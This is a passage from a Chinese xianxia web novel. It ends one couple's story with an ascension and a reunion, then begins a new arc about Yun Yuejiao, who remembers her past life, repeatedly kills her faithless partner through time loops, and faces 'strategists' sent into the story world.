灵剑荒烟:【恩。】 ……这话哪里变多了? 灵剑荒烟:【收好它,我这辈子都不想再看到它了。】 ……确实变多了。 既然说到萧晓,程鸢免不了八卦多问了几句。 而据周意宁所说,萧晓虽然被认了回去,却还是没能重拾“叶语笑”这个名字,毕竟她们两人行事风格相差太多,过不了半炷香的功夫就能被人拆穿。 她改名“叶晓”,叶宗主宴请了五湖四海的修士,将她隆重介绍给了整个修真界。 一开始是挺好的,叶晓也因此享受了一阵子众星捧月的待遇,然而后来……就渐渐不行了。 没人受得了她那个脾气,再说不过是区区一个宗主之女,修真界的宗主那么多,谁还没有几个女儿?倒也没必要真把自己当成人间皇帝的公主。 何况修真界随处是天之骄女骄子,搞不好还能遇到真正的仙女,要去也是去巴结高手大能,何必来捧她一个名不见经传家伙的臭脚。 程鸢听后哈哈大笑。 而周意宁到底不是话多的人,程鸢把想知道的全部问过之后,他见没话说了,便打算走了。 他临走之际,程鸢终究是问候了他一句: “你呢?你过得怎么样?” 当时他愣了愣,之后是回过头仔仔细细看了她一眼,才回了句“还不错”的。 周意宁走后不久,有人马上前来兴师问罪。 “你刚刚见了谁?” 程鸢正在擦剑,安抚它千疮百孔的心,于是头也没抬,开口就是一句: “周意宁。” 关骓野:“……” 关骓野:“你还敢背着我见他?你别以为我不知道周意宁看着是个闷葫芦,实际上天知道他脑子里在对你打什么花花主意。” 闻言,程鸢终于抬头,深深看了他一眼,没有说话,但更像是……一切尽在不言中。 关骓野理所当然感到惊恐。 “……你干嘛不说话?难道他真喜欢你?” 程鸢想周意宁大概确实是喜欢过她的。 只不过那喜欢太少了,或者说对他而言,比感情、比她重要的东西有太多,所以才会像是黎明的雾一样,还没有见着便散掉了。 总之,跟眼前这人是完全比不了的。 毕竟放眼世间,也不会有这么一个傻子喜欢了自己的攻略对象,最终还为了她放弃所有修为,舍命相救的。 程鸢不禁抿唇笑了笑,却反被关骓野误以为她是在想起周意宁时所以才笑得那么内敛温柔,于是更要气炸。 “我有点怀念你攻略我的时候了。” “那个时候你对我千依百顺,真的好温柔,可现在……”程鸢啧啧摇头,“连刚刚来的周意宁都比不上了。” 关骓野:“……” 那天,关骓野抓着她“温柔”地缠绵了一晚上。 灵剑的事情程鸢后来问了慧心道人。 她听过来龙去脉后判断说,可能是当初在福源洞天时候,被护主的意识激出了灵智,何况万物皆可在福源洞天得到机缘,也不单纯只是修士可以。 慧心道人:“这剑你好好收着吧。既然如今已成灵剑,已在神兵榜有了一席之地,那也该有个名字了。” 程鸢听后觉得有理,便问剑:“你想叫什么?” 一个敢问,一个敢答,灵剑想了想后,真的甩了个名字出来: 【我要叫孤野!】 【孤立关骓野!让他孤独终老,我独享主人,哦耶!】 于是程鸢诚恳地看向慧心道人:“它说要叫孤野。” 任是见多识广的慧心道人也不禁沉默。 次年,程鸢便带着灵剑孤野一剑挑了整个修真界的年轻一辈。 她一时之间名声大噪,特别给慧心道人长脸,老人家笑得合不拢嘴。 她身后多了不少狂蜂浪蝶迷弟迷妹,一些人因为和周意宁那把灵剑“荒烟”配对的名字,以为她名花有主,一些人只当是巧合,依旧前仆后继地赶来,于是…… 全被关骓野给扫平了。 如此吵吵闹闹恩恩爱爱便过了很多年。 因是天生仙骨,又意外得到了仙缘,程鸢修炼起来比其他修士要简单得多的多的多,没吃什么苦头,轻轻松松就到了飞升的的门槛前。 若想跨过那道门槛,便要渡劫。 程鸢趁着关骓野闭关,独自一人踏上了渡劫的道路。 有仙缘指引,她在不知不觉中被卷入了一堆事件中,期间打打杀杀,一路斩妖除魔,而等到了最终关头,她发现最后的根源居然是…… 前前前前魔都右护法的鬼新娘们。 “……”这渡劫倒是比想象中的还要简单。 当鬼新娘们齐齐出手,要把她绞杀当场,一如百年前程鸢每天起床吃完早餐后就冲到后院,冲两侧厢房喊的那句话。 她当时就喊了句—— “新娘姐姐!” 那本来要直接抽死程鸢的鞭子“啪”的一下砸歪,只落到了她的跟前。 而那位声音最温柔的新娘姐姐,她说话时依然温柔似水。 “……程鸢?” “是不是你?” “是我。” 她吐了吐舌头庆幸道:“还好姐姐没有装不认识我。” 别人的渡劫惯常是降妖除魔、为天地除去大祸害,但到了程鸢这里,却是她拿出了好吃好喝的,和新娘姐姐们把酒言欢。 原来,当日魔尊虽死,她们也得到了自由,但终究是人不人鬼不鬼的活死人,偌大的修真界竟无她们的生存之所。 心中有恨的新娘姐姐选择在报仇雪恨后自我了断,再入轮回。 也有还不想死的,便在这凡人界的一隅隐居,但因身份特殊,引起了不少祸端,最终还成了可能祸乱世间的祸患之源。 程鸢听后,转头就带着她们回了逍遥楼。 新娘姐姐们最初很担心不被接纳,结果…… “欸……这位新娘妹妹好像有点眼熟?” “瞧我这记性!这可不就是我那素未谋面的道侣吗?!” “亲亲你可终于现身了,我母胎单身等了你这么多年,可总算能见到你了。” ……程鸢总觉得这对话有点似曾相识。 不管怎么说,结局是好的。 安顿好了新娘姐姐们之后,程鸢算是渡劫成功,顿时天现异象,她一句告别的话都没能给关骓野留下,人便登上了九天。 飞升成仙是好事,可站在九天之上,程鸢只道自己可能要完。 恐怕等关骓野出关后要气炸,又以为她抛弃了他,要一鼓作气杀上来。 如此想着,程鸢也不着急去登记,便在这九天最外围的地方搭了个茅草屋住下。 而在九天之上,连个花花草草都可以有灵识。 灵剑孤野整天忙着跟茅草屋外的石头吵架,程鸢帮它出气,便用那块石头来磨竹子。 石头下面的小草问她: 【你在干嘛?】 程鸢很诚实地回答:“准备礼物哄人。” 【哄谁?这九天外围半个人都没有,所有人都是立刻启程离开,只有你一直在这。】 程鸢笑笑:“哄我在修真界的道侣,我在等他上来。” 小草【哎哟】了一声,接着有点遗憾地告诉她: 【你可能等不到他了,飞升一途困难重重,可不是谁都能登上这九天云霄的。】 程鸢只笑着说他会来的。 而一天、两天、一个月。 【你的道侣这么久都没来,是不是与成仙无缘呀。】 程鸢摇了摇头道:“如果他没爱上我,或许早就飞升成仙了。” 她相信他一定会来的。 而那天关骓野飞升,他果然是一如她之前所想,气冲冲杀上来的。 不知道他刚刚砍了什么,扇面染上的血红得刺眼。 一见她,便像是大魔头一样要吃了她,把她杀了解气。 “好你个程鸢,真有你的,不跟我打一声招呼直接走了,你知道我这些年是怎么抗过来的吗?” 程鸢温顺低头垂眸。 “我知道错了,所以这不是一直在等你吗?” 这么多年来,压根就没见过程鸢这么好声好气的时候,当冷不防得了这么句温言软语,关骓野只觉得这百年间的怨啊恨啊,顿时烟消云散了。 他咬了咬牙,理智认为不能就这么算了,还想继续板着长脸发火,却见她走了过来,手里还拿着什么东西。 “我一边想着你、念着你,给你做的竹扇,你喜不喜欢?” 关骓野低头看了眼。 只见那竹扇做工简陋,歪歪扭扭,扇面上“对不起,我爱你”几个字写得丑得要死。 但莫名就是满心欢喜。 他哼声道:“不喜欢。” “啊……不喜欢那就丢掉好了。” 程鸢丢东西的动作是干净利落,关骓野接东西的动作同样不遑多让。 迎着他恍然要喷火的目光,程鸢无辜地眨了眨眼。 “你不是不喜欢吗?” “……程鸢!” 她忍住笑,在他额头上亲了一下后,又笑眯眯地道: “好了,别生气了。” “岁月悠长,往后总有你生气的时候。” “……” 要不是仙人长寿,关骓野觉着自己有多少寿命都不够给她折腾的。 但他累死累活,上来也不是为了来受气的。 于是直接把人抗在肩膀,很有当初假扮成右护法把她掳去凡人界的气势。 “你说得对,我们现在应该先去叙旧才是。” 下一秒在这无垠天地间响起的,依旧是她潇洒豪放的笑声。 “叙旧?叙什么?叙一叙你最初是怎么骗我、怎么千方百计地想要攻略我的?” “……我对你一见钟情是真。” “那你品味还挺独特的,居然对一个随地大小睡还满心吃包子的女人一见钟情。” “程鸢……!” “哈哈哈哈哈哈哈!” 世界三 76 第76章 ◎觉醒女配拒当后宫的第一天◎ 若说起来,那好像也不是什么特别的契机。 云月娇是在撞破自己的仙侣盛伦与他的好兄弟在溪涧共浴,听他在说…… “我与珂珂义结金兰,是拜过把子的兄弟,关系清清白白。” “别人不信我便算了,怎么连你也会怀疑我?” 那些鬼话的时候…… 突然想起了自己的前世。 与今生生来便是天上城的女仙不同。 云月娇的前世只是下界的一个魔修。 生于烽火连天的年代,出生后的不久就成了孤儿。 听她前世合欢宗的师傅说,她捡到她的那日正逢十五,抬头时恰好瞧见一轮满月挂在枝头,于是给她取名“月明枝”。 说起合欢宗……自然是那个采补修为的合欢宗。 云月娇初初到宗门的时候,模样还没有长开,但等过了几年,每位见过她的师伯师叔都说她张了长好脸蛋,天生就是该吃这碗饭的。 云月娇彼时不懂。 是直到后来一出师门,便将她师姐师妹们个个垂涎欲滴,却无一人求而得之的清冷剑修拉下了神坛。 才终于懂了师伯口中的“不出二十年,他们合欢宗又该要有弟子名动天下了”的真意。 那会人人都劝她上岸。 说那清冷剑修洁身自好,够她吃到飞升的了。 可看到因她一句“脱了,跪下”,他便赤条条地跪在冰冷地板。 她抬脚踩在他的心口,他反倒脸红心跳,主动迎合过来…… 云月娇很快感到了乏味。 即便是在后来被合欢宗同门师姐们称之为盛事的修真大会上觅得新的缘分,她也只觉得那世人口中的天命之子、不太记得是什么宗的少宗主、好像跟什么上古神兽有关系的妖修…… 是无数个换壳不换芯的复制品。 “哈哈!世人口中的天命与我何干?!我意不在建功立业,而只在于你!” “我作为少宗主的前半生过得浑浑噩噩,直到如今遇到了你,才终算是寻到了此生的意义。” “我族历来是一夫一妻制,但明枝,若是你的话,我可以忍受的。所以即便是偶尔,你能不能……多爱我一点?” 他们与她说情、说爱,好像从来没有想过,人类只能与人类相爱。 没有人会去和一条狗相恋的。 云月娇的前世只爱过一个人。 在她成为魔修的第七年—— 她爱上了一个佛子。 …… 说是魔修,是因她后来修了魔功。 但倘若细论,云月娇也不知道前世的魔功是如何修炼起来的。 只是见多了打着斩妖除魔旗号来杀她的正义之师,好像自然而然就随手拈来了。 世人笑她只会合欢宗的狐媚本事,嫌她玷污了天之骄子们的声名,断定她定是用了歪门邪道,给人洗了脑,才让那群英雄豪杰对她如痴如狂。 洗脑……洗脑…… 前世的云月娇初时是不会的,后来不知怎么就发展成…… 世人只要耳闻她的名字便会受到影响。 与她越近,接触得越深,愈是会深受其害。 首日神不知鬼不觉地倾心于她。 次日黑白混淆,是非不分。 末日人人见了皆要说一句是被鬼迷了心窍。 三日一过,那更是哪怕她说的是一句“去死吧”,也能眼睛都不眨一下地即刻抹了自己的脖子。 云月娇遇到了那么多人。 没有一个人能逃过此劫。 直到她修成魔功的第七年,方才遇到了唯一一个变数。 那是一个总穿黑衫的佛子。 云月娇依稀记得他来的那日正值夏令。 下了些小雨,天色微濛,赭石色的木门旁有柳枝摇曳。 恰是在一滴细长雨点遮住视野的下一个瞬间,他推门而入。 许是因为他恬淡面容,平缓神色,刹那间好像天地都沉静了下来,唯他的话音在耳边回荡。 “女施主你好。” “贫僧道名无戒,是觉能上师的弟子。” “此番不远万里来到此地……” “正是为度化你而来的。” …… 前世的云月娇曾遇到许多杀上门来的修士。 若是瞧得顺眼,她会先留在身边。 若不顺眼,则直接挖掉内丹,抢光他的修为,助其回炉重造。 黑衫佛子一上来就这么狂,云月娇自是马上把他打了一顿。 她最初揍得谨慎,毕竟那觉能上师是十分有名的得道高僧,她本以为那黑衫佛子也会有些什么不得了的本事。 然而事实证明……那个人只会哎呀哎呀地喊痛,还哭爹爹拜奶奶,说自己再也不敢了。 鉴于他不再摆谱,认错态度良好,云月娇揍爽了之后把人留了下来。 但他到底是有些特别的。 云月娇识人无数。 黑衫佛子是唯一一个…… 不受她魔功影响的人。 …… 那黑衫佛子不受魔功影响,是杀死她的最好人选。 前世的云月娇最初也对他严防死守。 然而她砌起来的铜墙铁壁,全都是在浪费表情。 只因那个人只是一个没脑袋的快乐傻子。 既不会念什么大悲咒,身上也没带着什么敲一敲便会让魔修振聋发聩的木鱼。 他最擅长挨打。 其实耍嘴皮子。 “天道好轮回,苍天饶过谁?” “不是不报,时候未到。” “不过!若是这位施主愿意选贫僧做你的报应,只需要花一点小钱,便可消灾解难……” 那黑衫佛子实在不像是正正经经的佛修,倒更像是个招摇撞骗的江湖骗子。 眼睁睁地看着他把她的大本营当成了自己五星级的家,大吃大喝,荤酒不忌,云月娇终于忍无可忍: “出家人有三皈五戒,像你这样酒肉都来,见了谁都妄言妄语,佛祖怎么可能容得下你?” 他好像听不出她的杀意,只不以为意地摆了摆手,一句话把她给打发了: “酒肉穿肠过,佛祖心中留。不影响,不影响。” “……” 前世的云月娇也一度怀疑此人只是个蹭吃蹭喝的假佛子。 偏偏她屡次望过去时,唯见他眼波平缓,清澈如天上雪。 偶尔撞见她与他人缠绵悱恻,也不过是一滴雨点落入苍茫大海,掀不起波澜。 让她给压在了身下,眼眸也清明得了无半分春情。 是,那喝酒吃肉的佛子终究还是破了佛门色戒。 却不是终于扛不住她沂水春风的眼神,而是为了救她。 那些自诩行侠仗义的修士最终还是使了阴招,投毒于她,每逢与人云雨便更毒一分,非至精至纯的灵力不能解开。 那佛子来时,她的情毒已深入五脏六腑,躺在榻上时,总有股笑着等死的滋味。 “这位女施主悲观得太早了。” “正所谓天无绝人之路,远在天边,近在眼前。你若是愿意睁眼看一看,便会发现一副灵丹妙药就在女施主你的眼前。” 云月娇彼时正受情毒之苦,没有气力与他耍嘴皮子功夫。 伸手一把抓住人的衣襟,便把他按在了身下。 惟后来她一起一伏,涔涔薄汗一动一顿地掉落在他胸腹时,终是不禁断断续续地问道: “你不是要……降妖除魔,救济苍生?怎么来救我……一介妖邪?” 那佛子眼眸一如初遇时分。 似天上雪,若溪涧水。 只不过热得……微微有点化了。 “女施主也是众生一员,贫僧岂能偏私?岂可见死不救?” 桃夭李艳,洒酽春浓。 只可惜…… 他不该是攻略者。 77 第77章 ◎觉醒女配拒当后宫的第二天◎ 大抵这就是报应。 前世的云月娇对天下男人不屑一顾。 今生却栽在了区区一个的男人身上。 爱上盛伦这件事经不起考究。 越是回忆过去,云月娇越是觉得荒谬,她怎么可能会爱上盛伦这样的人。 居然还为他的一句话而肝肠寸断,一个眼神而寻死觅活。 云月娇今生生来便拥有神格一品,是天上城的女仙。 天上城三十六城之一荒城的城主,是她的双亲。 盛伦是他们的恩人之子,自小收养在他们膝下,与她是青梅竹马指腹为婚。 因而自云月娇懂事起就一直能听到: “盛伦的父亲对我们恩重如山,若是没有他,便没有我们,就更没有你。” “你的生命是因他而存在的,万万不可当那忘恩负义的白眼狼。” “盛伦是你命中注定的仙侣。日后,你必当好好扶持他管理荒城。” 所有人都是这么对云月娇说的。 她那时也信了。 为了能成为配得上恩人之子的仙侣,为了能成为他的贤内助,管理好偌大荒城,云月娇一直努力去成为更优秀的自己。 只不过……有些事情,不是光凭努力便能够达成的。 她虽是女仙,却反常体弱。 走不到一盏茶的时间她必气喘吁吁。 小坐一炷香后定开始疲累。 常年大病小痛不断,一年有大半的时间都在床榻上度过。 就连第一回的城主印传承仪式……她都直接晕倒在了祭台上。 好不容易苏醒,她的城主双亲却说她是不知好歹的寄生虫,对不起他们的付出和栽培。 每每到这时,盛伦必会出现。 他总是对她说:“城主只是关心则乱,所以说话才失了分寸,他们和我一样,心里都把你看得极重。” 对她道:“我将来的仙侣必是坚强刚毅,绝不会被这种困难所击倒。” 偏偏她非但信了他,还他的话奉为圭臬,因不想辜负他们的期望,而同意动用秘术,同意用神凰金血、十五月华为她换血洗髓。 那可真是一段苦到每天想杀死自己上千次的日子。 神凰金血、十五月华灵力滂湃,寻常人一碰即刻灰飞烟灭。 哪怕她生来是天上城的女仙,也遭了好一番煎熬,被排斥的异状折磨得人不人鬼不鬼。 为了要镇压那非常灵力,甚至要将远古魔神的指骨生生插入心脏,往后心脏每一次起搏,都伴随着隐隐闷痛。 后来,在接过荒城城主印的当日,她与盛伦结为了仙侣。 那日迎着浪漫春花,盛伦是这样对她郑重承诺的: “我魂未泯,我爱不改。” “娇娇,今生我与你一生一世一双人,沧海桑田,我也定不负你。” 但不是过了太久,他打破了自己的誓言。 第一个出现在盛伦身边的是生出了灵识的法器。 那器灵不通人类礼法为由,整日像是树熊一样黏在盛伦的身边,后者也从不避讳,一口一个亲密的“阿芙”。 面对云月娇沉默的视线,他甚至不以为意地笑道:“人是人,物是物,我们绝无可能,是娇娇你太敏感了。” 后来,盛伦却是亲手用天上城最好的流玉为他的阿芙炼制了人的躯体,一刻一划皆是心血匠心。 第二个登场的是主动找上门来的雍城城主之女。 她每日追着盛伦跑如狗皮膏药,后者却说:“雍城之主有恩于我,轻轻是他的掌上明珠,我不能恩将仇报。” 还反问她:“娇娇,你我既是仙侣,这份恩情难道不该一同偿还吗?” 正是因此,那夭轻轻愈发变本加厉,总是会用“盛伦心中有我,任你是他命定的仙侣,又能奈我何?”的眼神来看她。 然而当第三人出现,连夭轻轻都笑不出来了。 那人是盛伦在下界渡劫时结下的拜把子兄弟。 说是兄弟,那人却是女子。 他们于月下喝交杯酒被她遇见,盛伦只说是酒到深处,情不自禁,认错了人。 他们在溪涧共浴被人撞破,告到了她跟前来,盛伦只道是兄弟之情,他弟兄英气豪放,不拘小节。 一直到了现在,他心不甘情不愿地跟她认错说…… 盛伦:“好好好,都是我的错行了吧?” 盛伦:“明日我便与珂珂说清,与她保持距离,这下你可满意了?” 要放在往日,其实到了盛伦说“你总怨我不与你亲近,可你有没有想过自己的问题?我们身为彼此的仙侣,你对我却连最基本的信任都没有”的时候,她便该惶惶摇头,急着低头称不是了。 如今她云月娇只是静静地凝视他那副昂首挺胸、理直气壮的神态。 良久,叫了他一声: “盛伦。” 她那好仙侣微不耐烦地看了过来。 许是以为她要给他赔罪认错,他的表情高傲到了有些目中无人的境地,下巴微仰,脆弱的脖颈完全暴露了出来。 盛伦:“事到如今,你也不必向我悔过了。云月娇你要记住,这全都是因为你一意孤行,你我之间才会弄得如此难堪,既然如——” 盛伦的脑袋以抛物线的轨迹飞了出去。 当云月娇骨刀上沾染的第一滴血落地,失去了头颅的躯干也轰然倒地。 而这,是盛伦的第一次死亡。 78 第78章 ◎觉醒女配拒当后宫的第三天◎ 云月娇第一次经历回溯的时候,只道是仙法幻梦。 于是面对: 盛伦:“珂珂与我只是兄弟,兄弟之间喝两杯酒,算不得什么。” 盛伦:“那些人说什么你就信什么?云月娇,你实在是太令我心寒了。” 她没有太多犹豫,直接伸手拧断了他的脖子。 然而上一秒骨碎闷响在耳畔响起,下一秒睁眼闭眼,时间竟是又回到了更早时候。 盛伦:“轻轻是我们的恩人,你怎么能对她如此不尊敬?!” 盛伦:“你最近是怎么了?娇娇,你以前可是从来不会让我失望的。” 云月娇说不出究竟。 只是当皱眉扣紧盛伦的后脑勺往石壁猛撞上去,又听见他道“阿芙她怎么可能伤你?器灵生性单纯,就算真伤了你也是无心的!”,方才多多少少懂了。 盛伦是幸运的。 因为他永远不会死。 他每一次的死亡皆会触发回溯,将现实逆转回他还活着的时候。 他同时也是不幸的。 因为从这一刻开始,他将永生永世在死亡中不断轮回。 一次又一次地在虐杀中体验极限逃生。 无数次地目睹希望落在手心,又一瞬消失的绝望。 没有任何一个人…… 救得了他。 …… 【登场角色“盛伦”确认死亡。】 …… 【登场角色“盛伦”确认死亡。】 …… 【系统小助手正为您统计中。】 【登场角色“盛伦”死亡次数共计……】 【……】 【……】 【两千两百七十二】 …… 云月娇之所以在第两千两百七十三次的重开中停手,是因为她遇到了一个人。 那是一个她从来没有见过。 没有听过。 可本领却异常高强。 且具有很强的目的性想要保护盛伦的人。 他非但知道她要杀盛伦。 还挡在了盛伦的面前,妄图妨碍她。 那个人很沉默,问什么都不答。 云月娇是在把他砍成了人彘后,才终于从他嘴里听到了第一句话。 “你已经杀了盛伦2272次,你到底想要做什么?!!!” 云月娇:“攻略者?” 那个人对方顿时露出震惊表情,满脸惊悚。 “你为什么会知——” 比起盛伦,云月娇对攻略者更没有耐性。 连话都没有听完,直接骨剑一剑封喉。 她为什么会知道? 她当然知道。 她前世唯一爱上的黑衫佛子就是高阶攻略者。 他为了毁掉她的魔功、拯救被她蛊惑得不再走剧情的男主角,而来到了她的身边。 对她投其所好,百般甜言蜜语、谄词令色: “这情毒一解……女施主与我便是同条船上的人了。日后你要待我好一些,万不可像从前那样,总是想打就打想骂就骂……啊好痛!” “魔功散尽又如何?贫僧师从觉能上师,也算是有点真本领的,女施主只管依靠在下便是。” “日后就算不幸殉情,你我名字记载在一道,也不算辱没女施主你的美名。” 当她真的爱上了他…… 才意外发现一切都是他的谎言、是他的攻略。 她对他来说,就是笑话一场。 那前尘往事分明已经隔了成千上万年,但那黑衫佛子的声音在脑海中响起时……又仿佛只是在昨日。 上一世是她性急了一些,死早了一点,比他先走了一步。 可说好的殉情…… 总不能,只有她一个人死。 …… 云月娇不再杀死盛伦,而是转而把盛伦藏了起来,是为了能重新见到黑衫佛子。 盛伦很明显跟前世的天命之子一样,是所谓的男主角。 只要盛伦一日不现身,剧情一日不能走下去,他们便会不断派出攻略者。 而那么多的攻略者……说不定就会有黑衫佛子。 只是云月娇等来等去,前十二任的攻略者中没有一个是他。 那些人大多很没有耐性,与她一打照面便是不死不休。 好像觉得只要杀了她,被她藏起来的盛伦便会自己跑出来,那停滞了的小说剧情便会自己重新启动,他们便可就此完成攻略任务。 面对这种人,云月娇也很没有耐性。 来一个她杀一个。 来一双她杀一双。 杀到后来,攻略者们纷纷改变了策略。 他们像是黑衫佛子一样潜伏在她身边,妄图用爱情、友情、亲情度化她,伺机救出盛伦,杀死她。 不过这样……也有十分致命的缺陷。 “魔功” 那一天,除了前世的记忆,与之一同觉醒的还有当初月明枝的洗脑魔功。 以前便没有什么人能对付得了这蛮不讲理的洗脑魔功。 如今没有了黑衫佛子,更是连一个例外都不剩下。 以至于现在,那些攻略者只要在她身边呆超过了三天…… 在第四日,他们便会被魔功洗脑成以她为绝对中心的恋爱脑,化作登场角色留在攻略世界里,成为小说的一部分。 这样的战利品云月娇已经收集了三个。 今天,她似乎要拥有第四个了。 闭塞的书房里蓦然平地起风。 便是云月娇幽幽睁眼之际,一根羽毛落在了她的鼻梁。 又恰是在白羽遮住视野的下一个瞬间,他不期然而然地出现在了她的眼前。 他面容恬淡,神色平缓。 就连那种神经病一样的话都能说得一本正经、煞有其事。 “城主大人你好。” “或许,你知道守护天使吗?” “在这世上,无论贫穷还是富有,无论健康还是疾病,每个人的身后,都会有一个守护天使在默默守护。” “也许这很难相信,但城主大人,我就是你的守护天使。” “我是为守护您而来的。” …… ……是云月娇错了。 这不是她的第四个战利品。 那个叫她一通好等的黑衫佛子…… 如今终于出现了。 79 第79章 ◎觉醒女配拒当后宫的第四天◎ 云月娇前世听到这番话的时候,是在她中了情毒之后,虽侥幸捡回来一条命,但魔功散尽,与黑衫佛子一起逃亡的最开始的时候。 那是最颠沛流离险象环生的一年。 也是她爱上他的第一年。 不管那些自诩正义的修士是不是主动送上门来给她杀的,不管她的以眼还眼以牙还牙属不属于正当防卫。 在世人眼中,她就是非死不可的女魔头。 得知她魔功散尽,虎落平阳,整个修真界几乎倾巢而出,人人都想拿下她的项上首级,一举成为修真界的英雄。 前世的月明枝只是一介合欢宗的女修。 除了个别功夫特别厉害,失去魔功后的她就像砧板上的猎物,只能任人鱼肉。 能苟延残喘那么长时间,全靠黑衫佛子拖着跑。 她那时还不知道一切都是攻略。 因此对于帮她解开了情毒、救了她的命后……还和她一切亡命天涯的黑衫佛子万分不能理解。 也*产生了丝丝怀疑,怀疑他是另有目的别有所求。 然而,当黑衫佛子为她挡了致命的一击,命悬一线,用交代后事一般的口吻告诉她接下来应该要往哪里逃、该怎么逃的时候,她本应该要继续坚持的怀疑,却是坚持不下去了。 无论是前世的月明枝,还是今生的云月娇,都不喜欢当一个非要打破砂锅问到底的难缠女人。 可那一天,她忍不住问了他第二遍,曾经已经问过一次的话。 “你究竟是脑子不对劲还是修佛修傻了?!” “到底为什么你非要救我?!” 而那黑衫佛子按着淌血的伤口,用很深沉的眼神看着她,轻笑了一下。 “我被你的魔功洗了脑,爱上了你,难道不行吗?” 挨了她愤怒的一下猛击后,他随之说出了跟那新来的攻略者,有八九分相似的话。 “城主大人,或许……你知道守护天使吗?” ‘女施主,你知道守护星吗?’ …… “在这世上,无论贫穷还是富有,无论健康还是疾病,每个人的身后,都会有一个守护天使在默默守护。” ‘贫僧一直都相信,人诞生在这世间,绝无可能生而一无所有。哪怕没有天赋才能,没有骨肉至亲,每个人的天空,都一定会有一颗守护星在默默祈愿守护。’ …… “也许这很难相信,但城主大人,我就是你的守护天使。” ‘贫僧就是有这么一种直觉。’ “我是为守护您而来的。” ‘我是为了守护你而存在的。’ …… 其实没有什么默默守护。 也不存在什么直觉不直觉。 也是近些年来,云月娇才渐渐想明白了。 当年的月明枝之所以没有死于情毒,黑衫佛子之所以无数次奋不顾身地救她,是因为他是一个不择手段的完美主义者。 在他的认知中,一本合格的小说…… 反派只能死在主角手里。 云月娇本来以为自己已经不气了。 她本来以为两千两百七十二次的屠杀,足以消解她昔日的怨忿,甚至哪怕黑衫佛子下一秒出现在眼前,她也能气定神闲地和他谈起过往。 然而,到了今日,到了此时此刻,她才意识到自己竟是产生了莫大的误解。 她的眼前只是出现了一个长相完全不像他的人。 他只是用那种深情专注的眼神,说出了黑衫佛子曾经说过的,简直一模一样的话,就让她黑白的世界瞬间涌现出鲜艳浓烈的色彩。 刹那间便失了控。 云月娇深知自己的战斗力全靠神凰金血、十五月华。 平日被魔神指骨封印的时候,她走几步就累,躺久了还难受。 别说杀人了,杀只蚂蚁都费劲。 可是如今,面对那个第十三任攻略者,她居然在被封印的状况下一瞬爆发出了不可能实现的速度。 她飞身冲到了那人面前。 五指掐住了他的脖子,因过于用力,突然暴起的青筋好像随时会爆开。 云月娇从他那双清澈如天上雪的眼睛里看到扭曲又狰狞的自己。 看到了只想抓着他,和她一起燃烧殆尽的怨愤。 从她嘴里道出的每一个字眼,都饱含切骨之恨,仿佛硬是从牙缝间挤出来的: “你……是不是他? 那个人面露茫然。 于是死盯着他的云月娇咬牙换了个问法: “英殊,是不是你?” 云月娇没有眨眼,她直勾勾地盯着他的脸、他的眼睛,任何一丁点的风吹草动都不肯放过。 然而……在听到那个名字的瞬间,他那张因窒息而通红的脸上连一丝一毫的动摇都没有。 他茫然得像是第一次听到这个名字。 云月娇依然不肯甘心。 她叫来已经成为登场角色、只受她驱使的前攻略者确认他的身份。 短短几秒的等待恍然跨过了万岁千秋。 当他的声音打破了死寂,云月娇恍然已经过完了比一辈子还要久的时间。 “他是高阶攻略者。” “曾出过19次攻略任务,历史战绩为——” 云月娇:“我不要知道这些!我要知道他的名字!!!名字——!!!!” 答话者立刻跪倒下去,声音紧贴地毯传出来的时候,带着一股夏令雨季……令人烦躁到崩溃的闷热。 “裴青。” “他的名字是裴青”。 …… …… 原来…… 又不是他啊。 80 第80章 ◎觉醒女配拒当后宫的第五天◎ 云月娇把那个叫裴青的第十三任攻略者丢下就直接走了。 她的确可以把他当成黑衫佛子的替身,折磨他,凌辱他,毁掉他所有珍视的东西,让他求生不得求死不能。 别说他一个裴青了,黑衫佛子的替身、代替品,云月娇想要多少就有多少。 但她永远都不会那么做。 无论替身有多么像黑衫佛子,只要不是那个人,就没有任何意义。 云月娇被骗了那么久,她不想连复仇都要继续被骗下去,找一个黑衫佛子的仿品自欺欺人。 于是得知了新来的攻略者不是那个人,当满腔恨意没有宣泄的出口,最后全部化作了巨大的空虚感吞噬云月娇的自身。 她连杀人的力气都没有。 直接把人丢掉就走了。 之后寻了个没人的墙根角落,想用烈酒去填满那个空虚的无底洞。 但在夜深人静之时,距离她最近的木窗忽然“嘎吱”一声被人从外头推开。 她闻声仰首望上去时,正好撞上了他垂下来的目光。 他许是躲避城主府卫兵的追击不易,头发七岔八岔,衣衫不整,明明看着很是狼狈,举手投足间却莫名有种淡定从容。 她不出手发难,他也不转头就跑。 对视了足有半分钟,云月娇才听到他轻咳一声,接着拿出了一本正经胡说八道的态度,慢悠悠地开始睁眼说瞎话: “我本来想就这么走的,可一抬腿,脑海里就想起你,实在是放不下你,所以就又回来了。” 刹那间,云月娇只是忽然产生了一个疑问: 人……真的可以在无意识间像到这种地步吗? 身体好像自作主张有了动作。 手在举起酒壶的同时嘴巴冷笑道: “分明就是没完成攻略任务才再回来找机会。” 她在试探他。 …… 云月娇现在其实有一个选择。 她可以解开封印,短暂地提升洗脑魔功的能力,入侵裴青的意识海,直接在他的记忆里看个究竟。 就像前世时候,她通过燃烧生命强化了魔功,最后在黑衫佛子心魔的记忆里看到了全部。 只是有个隐患。 她在侵入他人的意识海时,身体会处于零保护的状态,换言之,随便再来一个攻略者,都可以轻易杀死她。 这是一招险棋,不到万不得已云月娇不愿动用。 于是在大脑权衡利弊后,身体自动做出了选择。 她决定要试探他。 再天衣无缝的演技,也终有露出马脚的一刻。 尤其这个人……还想要杀她。 裴青:“其实也不是。” 裴青:“如果说要完成攻略任务,我也可以去找盛伦的下落,也不是非要回来见你的。” “倒是没想到一回来就看见你喝酒买醉……”他光明正大地偷看了她一眼,许是见她没什么反应,才继续说了下去:“看着还怪可怜的。” 最后叹声道:“你这样都不像是小说反派了,倒像是脆弱美丽的白月光,我怎么好意思对你下手?” 听他说得这般直白,云月娇一时之间只觉得很是微妙。 她遇到过那么多攻略者,如今也是第一回这样开诚布公地和攻略者谈起小说、攻略,而无需有任何忌讳。 微妙归微妙,她还是扬起冷笑。 “你不是我的守护天使吗?” “怎么张嘴闭嘴就是对我下手?” 他默了默。 脸上神情看着也不显慌张,张嘴的样子像是很自然地要开始狡辩,但恰逢外头一阵寒风吹得翻窗翻到一半的背凉飕飕的,于是话音一转: “我进来……你能不能不要打我?” 霎时间,云月娇的脑海中只是不由自主地响起了: 